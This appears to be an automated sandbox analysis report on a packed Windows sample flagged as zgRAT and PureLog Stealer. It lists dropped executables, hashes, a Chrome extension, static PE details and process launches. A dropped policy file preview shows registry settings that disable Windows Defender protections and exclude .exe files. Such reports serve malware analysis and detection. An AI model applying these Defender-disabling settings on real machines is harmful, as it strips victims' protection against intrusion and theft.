Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....6...............P..ZH..D.......xH.. ....H...@.. ........................J...........@..................................wH.K.....H..@....................I...................................................... ............... ..H............text...4XH.. ...ZH................. ..`.rsrc....@....H..B...\H.............@..@.reloc........I.......I.............@..B.................xH.....H........p...............q....;.........................................6+.(.)lj(......:+.(4.Uj.(.....V+.(xU.I..(....8.......B+.(...<~..........6+.(K7QO~.......0..........+.(..hS ........8........E........5...&...8....s......... .....9....& ....8....s.........8/...s......... .....9....& ....8....s.........8....s.........8........0..+.......+.(..578......8....8.....~....o......8......0..+.......+.(i'Nb8.......~....o......8....8....8......0..&.......+.(.\J>.~....o......

C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	360960
Entropy (8bit):	6.339467114513211
Encrypted:	false
SSDEEP:	6144:Iqbbo8HQOZA0q4+6ASSy1sgBucxonGO3:IqbbNQOZA0h3A1usgBu/GO3
MD5:	5EB7C8D4E4A0A7C66277EB3E4295C7A1
SHA1:	A9B7A2EB7AE98D5205CAAAADE0890F9FB0DD1588
SHA-256:	1B78CACDF001619931AE6D0424CE17B4515AF103C1A1A1680AC1659F1834A682
SHA-512:	D6614A76C53F6CB5B2681927D741B4F07B51F510D6BE54B27CD6AF568ADAF150C247135CF5F4226C44A09134FC191B39A0CFADA4407027B628130A20A496920F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............G...G...G...G...G..:G...G..;G:..G.HG...G...G...GOL>G...G...G...GOL.G...GRich...G........................PE..L......c......................`.....+i............@..........................0b.....P........................................Q..x.....`.x}..........................0...8............................<..@............................................text............................... ..`.rdata..............................@..@.data....@^..`.......F..............@....rsrc...x}....`..~..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5077008
Entropy (8bit):	6.713226173072206
Encrypted:	false
SSDEEP:	98304:AZ5VfUpCCTIDsAi8LXS2vwJ1EbfdOq5elO:Axf8ivmOfdOq5elO
MD5:	D15459E9B9D12244A57809BC383B2757
SHA1:	4B41E6B5AA4F88FDF455030DB94197D465DE993A
SHA-256:	37AEF611EC814AF2CDCFA198E200CB21ECB46CAA30F84D0221A47DB1265B889D
SHA-512:	40558644CA9918B84A9438A3A2C4D85A97DDEC378AED23756E14C57351D4B4C82D6316ADD1E62243826328E42C766784CEE5D6CAE41C6FA6C43864F5097A239C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........rs... ... ... ...!... ...!t.. ...!... z". ... z".!.. z".!... z".!... ...!... ... ^.. K!.!... K!. ... ... ... K!.!... Rich... ................PE..L......f...............'.....:........:...........@...........................\.....E.N...@..................................@$......@..._....................\..............................P$..................................................... .........l.................. ..` ~............p..............@..@ ............r..............@....rsrc...._...@...`..................@..@ ......#..R..................@..B.idata.......@$......4..............@....tls.........P$......6...................themida.@8..`$..@8..8..............`....reloc........\......xM................@........................................................................................................................

C:\Users\user\Documents\SimpleAdobe\rZoPW_w9AkmZC8G81vq8yNlT

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	38030
Entropy (8bit):	7.945390952437143
Encrypted:	false
SSDEEP:	768:fvGiAXYBH8ysANcDYSAFj1HZAozxCM7h61eemOVMXAp+Rbcqe3lLKqmtmqFms:fvLH8D3AFj1TxBhNfRbBCL3rqr
MD5:	ADA441D7150DCF4C9BEDB5F379498D11
SHA1:	2A496CD0464108045007A8DA056D4E75181BBA14
SHA-256:	9E8E2D15AE62DED072E3000D3DE92A74832C077F3129186A8D47D45A35E65AA7
SHA-512:	4CC4AA78665BD354C24090E252C83D593BDB21EB86A2482BF9C389707B0F743F22774BF799974D2B6757FB9CB1D371B2BE714B671286553FE1F2EAEF007F8313
Malicious:	false
Reputation:	unknown
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........{.73...u.....[.....q+..m8..V2 .R..N.........\H,...R...5...<..a....'..p.L.2.4p..u..4.$.\.....K..S.W...'&l.?..\|..X.l.x^..i.#.o..\.....{.e.i...{....EC.x.8..Q..}A.r..i.O.Bn...'......c`......'.#.U{...Cr.../...J.G.d...+..N...k..`...p.D.P.k.0J.......0.."0....H.............0.........:Jc......[a.r....B......u.o..t.%$...m.A.S..!...:O.I..EsdWS./0...?.@su.V..w..s..j..!_.:.e......?..EO..'.).#.G..XR..........,Hy6W.@4......k..........T.....3....Y..4..q....,.0....\EU..T".@e....#..d..A.../:<..{Z..l.......V.._.G.5i......F...Z.+..............n..i.d.q.....b.`....i...R+K.T._.p...zB..R......c....{7I........g...z.V.."...dm.w....8...0i.\.m>JP~;T.i;\|......~.L.\..3l...

C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4440952
Entropy (8bit):	7.961644800795341
Encrypted:	false
SSDEEP:	98304:v/40EOOAEftLoGWLNDgTXMgGOTrFzBqlMJaGItfGo:ndVQtLoTZDg5GO9Bqlcg
MD5:	B413116E9122E54828DE168502CF3316
SHA1:	75B3D573FA4FFAED32D1AEAA548B9DB874CCF277
SHA-256:	8FAF805EE985EC1C1F9433FEE7E2A4827D64A5B19327D4E7710F31D259637F24
SHA-512:	F6BC90690E144C0C2BC951D64BBC16C653D50CD7C3F939849C992AA176ED27E6B6F651388A7CEBEDF5BDB0FF150023B2BA5F89768ECACF7DFE76448538E15004
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............G...G...G...G...G..:G...G..;G:..G.HG...G...G...GOL>G...G...G...GOL.G...GRich...G........................PE..L...}15e............................+i............@..........................`.......;D......................................Q..x.......x}............C.x...........0...8............................<..@............................................text............................... ..`.rdata..............................@..@.data....v...`....?..F..............@....rsrc...x}.......~...:B.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4292096
Entropy (8bit):	7.941672708424246
Encrypted:	false
SSDEEP:	98304:vifh6zP+q2TWkvrHey2s9+j3QjXDouW6tpaLFly5escvXWdwiS4:zzL2TWK2sC3cDop6tpaLVFSRS4
MD5:	11A92C610057432013E972144EFC0EA0
SHA1:	4EB3BBB97A7572674C8153875B2781C490D992E8
SHA-256:	1D2D165253E0F9BE949431B570F1245D216B3C608223168C3DC2451F6AE15FF2
SHA-512:	5B16D389C4487F3B36F431389BEB6ECA26E92120E8FE2650872B7737954A75813946F7E61B2850930CFADDD34D801493D376DA63229AF863A88EF09A31F208E8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...............'.4...........h......P....@..................................*B...@..........................j.J....s..,.... ...a......................0.............................h.......................\......!].@....................text....2.......................... ..`.rdata..^....P......................@..@.data... I..........................@....vmp(.R.a...P......................@..@.reloc..............................@..@.edata.......`......................@..@.idata.......p......................@....tls.....................................themida.@8.........................`....vmp(.R......Q..................... ..`.vmp(.R......\.....................@....vmp(.R..<...]...<................. ..`.reloc..0.............=................@.rsrc....a... ...b....=.............@..@................................................................

C:\Windows\Logs\StorGroupPolicy.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	31606
Entropy (8bit):	4.91309647762162
Encrypted:	false
SSDEEP:	768:QhnnnnTEzzUUJBRRRVVrlrrrrYZrrrt5X0SHgHgZgZgUgUi/1OkGk1/pprYHHH1b:QhnnnnTEzzUUJBRRRVVrlrrrrYZrrrtk
MD5:	4CC8390D5A0C450927C9ABEFE3B5E081
SHA1:	90E2B40AA78228698AEA2A875F49496EBE71E433
SHA-256:	3A454C2BF5FBC4404980E939C66E226C5F00034FB1F0E51EB78C7A0F808D86E0
SHA-512:	B1F48E04CDAFB0A155CC69C6E4E6BEEF9F490CC7D5A1FD5C241C5352816557E7B0FD89F54745E27216BDBA301DE6A31B4A29E3E04BD5B85A5B6A3B82CF26DAFD
Malicious:	false
Reputation:	unknown
Preview:	10/03/2023 7:55:56.00000693:RegEnumKeyExW failed with (259)..10/03/2023 7:55:56.00000693:GP object initialized successfully..10/03/2023 7:55:56.00000756:Deny_All not set for all. Will query other 6 GUIDs..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000772:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000787:Policy for other GUID is not enabled, status: 1008..10/03/2023 7:55:56.00000787:Deny_All for all devices is being reset..10/03/2023 7:55:56.00000787:Will delete security for disk..10/03/2023 7:55:56.00000787:Volume interface name \\?\storage#volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}..10/0

C:\Windows\SysWOW64\GroupPolicy\gpt.ini

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:1EX:10
MD5:	EC3584F3DB838942EC3669DB02DC908E
SHA1:	8DCEB96874D5C6425EBB81BFEE587244C89416DA
SHA-256:	77C7C10B4C860D5DDF4E057E713383E61E9F21BCF0EC4CFBBC16193F2E28F340
SHA-512:	35253883BB627A49918E7415A6BA6B765C86B516504D03A1F4FD05F80902F352A7A40E2A67A6D1B99A14B9B79DAB82F3AC7A67C512CCF6701256C13D0096855E
Malicious:	false
Reputation:	unknown
Preview:	[General]..

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	RAGE Package Format (RPF),
Category:	dropped
Size (bytes):	1926
Entropy (8bit):	3.310422749310586
Encrypted:	false
SSDEEP:	24:wSLevFeSLe5BeSwbv5qweSw4q7j/eScdepWDbVeScden2W8eScdemevtmeScdeRg:KFIBkbv5qwk4qfKV2QxVCZ
MD5:	CDFD60E717A44C2349B553E011958B85
SHA1:	431136102A6FB52A00E416964D4C27089155F73B
SHA-256:	0EE08DA4DA3E4133E1809099FC646468E7156644C9A772F704B80E338015211F
SHA-512:	DFEA0D0B3779059E64088EA9A13CD6B076D76C64DB99FA82E6612386CAE5CDA94A790318207470045EF51F0A410B400726BA28CB6ECB6972F081C532E558D6A8
Malicious:	false
Reputation:	unknown
Preview:	PReg....[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.A.n.t.i.S.p.y.w.a.r.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.R.o.u.t.i.n.e.l.y.T.a.k.i.n.g.A.c.t.i.o.n...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s...;.E.x.c.l.u.s.i.o.n.s._.E.x.t.e.n.s.i.o.n.s...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.E.x.c.l.u.s.i.o.n.s.\.E.x.t.e.n.s.i.o.n.s...;.e.x.e...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.r.o.t.e.c.t.i.o.n...;.D.i.s.a.b.l.e.B.e.h.a.v.i.o.r.M.o.n.i.t.o.r.i.n.g...;.....;.....;.....].[.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.R.e.a.l.-.T.i.m.e. .P.

C:\Windows\System32\GroupPolicy\gpt.ini

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	127
Entropy (8bit):	5.0926418767732935
Encrypted:	false
SSDEEP:	3:1ELGUAgKLMzY+eWgTckbnnvjiBIFVTjSUgf4orFLsXovn:1WsMzYHxbnvEcvgeyn
MD5:	7CC972A3480CA0A4792DC3379A763572
SHA1:	F72EB4124D24F06678052706C542340422307317
SHA-256:	02AD5D151250848F2CC4B650A351505AA58AC13C50DA207CC06295C123DDF5E5
SHA-512:	FF5F320356E59EAF8F2B7C5A2668541252221BE2D9701006FCC64CE802E66EEAF6ECF316D925258EB12EE5B8B7DF4F8DA075E9524BADC0024B55FAE639D075B7
Malicious:	true
Reputation:	unknown
Preview:	[General]..gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}]..Version=2..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.888890832141232
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	qk9TaBBxh8.exe
File size:	4'334'016 bytes
MD5:	cb4118382e3f97f0db04938a4e31e3e1
SHA1:	d31dff9e56df945247cbb0598bf0c1d27aedcccf
SHA256:	fcd465bfb29ad1ee9c3344c27035fe6721f7c634ae714db808454b2d14e6ecd3
SHA512:	a37f4faef965c33f48af389016911ba3c255f14d7b4ee33fef6e20771844abeab37a273c60ee5501ccfbb5fecce5027201d08e4344a4ddbab672449cfb7b149c
SSDEEP:	98304:Ie7PCLZ0+LSlhnzXRhtvbp6DdM0NwIwUd3iXGNZ:IeDCsVzX3xoDhNbfd3iKZ
TLSH:	9216235776A3DDF9C016C3F8E086A66D3260BF417C1D8D13368A461C1E72AC62EBA35D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......f.........."....'.....F.......}.........@.............................0........B...`................................

File Icon


Icon Hash:	07c3c3e3e38b8883

Static PE Info

General

Entrypoint:	0x140977dcc
Entrypoint Section:	.vmp(R
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x660BFEF8 [Tue Apr 2 12:50:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	023aae353653db016d3a89da454d1d86

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	13/04/2024 11:26:20 14/04/2034 11:26:20
Subject Chain	CN=\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z\u0153\xe1z\xb1\xe5z\xb1\xe5z\xb1\xe6z\xb1\xe5z\xb1\xe5z\xb1\xe5z
Version:	3
Thumbprint MD5:	77E3547D756C42A66CB4426739A242FF
Thumbprint SHA-1:	A3E3582D69361C09C56050EFDAB96F951FD96C2B
Thumbprint SHA-256:	7518998411E11FEBA2B334A8272475F043647D34BA731C223E012BD81917BDD0
Serial:	3A02069D084A9BAE4554635C0DB95A8D

Entrypoint Preview

Instruction
call 00007FCAF46C8A58h
add ebp, dword ptr [eax]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x992ab8	0xa0	.vmp(R
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb02000	0x50a79	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xaf0510	0xf330	.vmp(R
IMAGE_DIRECTORY_ENTRY_SECURITY	0x420400	0x1dc0	.themida
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb00000	0x1538	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x986450	0x28	.vmp(R
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x731000	0x98	.vmp(R
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x18f9ce	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x191000	0x47046	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1d9000	0xb198	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1e5000	0xf198	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x1f5000	0x1f4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.vmp(R	0x1f6000	0x50a69	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x247000	0x21d0	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.idata	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x24b000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.themida	0x24c000	0x47e000	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp(R	0x6ca000	0x66094	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmp(R	0x731000	0x3d0	0x400	0d3898a8a02c3d23d471d010f3e92ad2	False	0.07421875	COM executable for DOS	0.3850178590743897	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp(R	0x732000	0x3cd840	0x3cda00	9380cfcd5b324aeea8f4315691ff507d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_NOT_PAGED, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0xb00000	0x1538	0x1600	3fe1f329a2b5fa6250cc2048518a6dd6	False	0.18927556818181818	GLS_BINARY_LSB_FIRST	5.4080546027320295	IMAGE_SCN_MEM_READ
.rsrc	0xb02000	0x50a79	0x50c00	cc43224ceff199851d4d948f048f8c0f	False	0.5924710961687306	data	6.316232236670494	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
TYPELIB	0xb02320	0xb8a0	data			0.2674128300609343
RT_ICON	0xb0dbc0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States	0.7207446808510638
RT_ICON	0xb0e028	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.47759336099585065
RT_ICON	0xb105d0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.34464095587365434
RT_ICON	0xb20df8	0xf23b	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9995000886939414
RT_ICON	0xb30038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States	0.7207446808510638
RT_ICON	0xb304a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.47759336099585065
RT_ICON	0xb32a48	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.34464095587365434
RT_ICON	0xb43270	0xf23b	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9995000886939414
RT_GROUP_ICON	0xb524b0	0x3e	data	English	United States	0.8387096774193549
RT_GROUP_ICON	0xb524f0	0x3e	data	English	United States	0.8870967741935484
RT_VERSION	0xb52530	0x3a4	data			0.45064377682403434
RT_MANIFEST	0xb528d8	0x1a1	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	English	United States	0.5755395683453237

Imports

DLL	Import
kernel32.dll	GetModuleHandleA
USER32.dll	GetCursorPos
ADVAPI32.dll	RegCloseKey
SHELL32.dll	SHGetFolderPathA
ole32.dll	CoCreateInstance
OLEAUT32.dll	VariantClear
kernel32.dll	HeapAlloc, HeapFree, ExitProcess, GetModuleHandleA, LoadLibraryA, GetProcAddress

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Target ID:	0
Start time:	05:47:52
Start date:	20/04/2024
Path:	C:\Users\user\Desktop\qk9TaBBxh8.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\qk9TaBBxh8.exe"
Imagebase:	0x7ff6538e0000
File size:	4'334'016 bytes
MD5 hash:	CB4118382E3F97F0DB04938A4E31E3E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:47:54
Start date:	20/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:47:54
Start date:	20/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:47:54
Start date:	20/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	05:48:27
Start date:	20/04/2024
Path:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
Imagebase:	0x9a0000
File size:	4'292'096 bytes
MD5 hash:	11A92C610057432013E972144EFC0EA0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
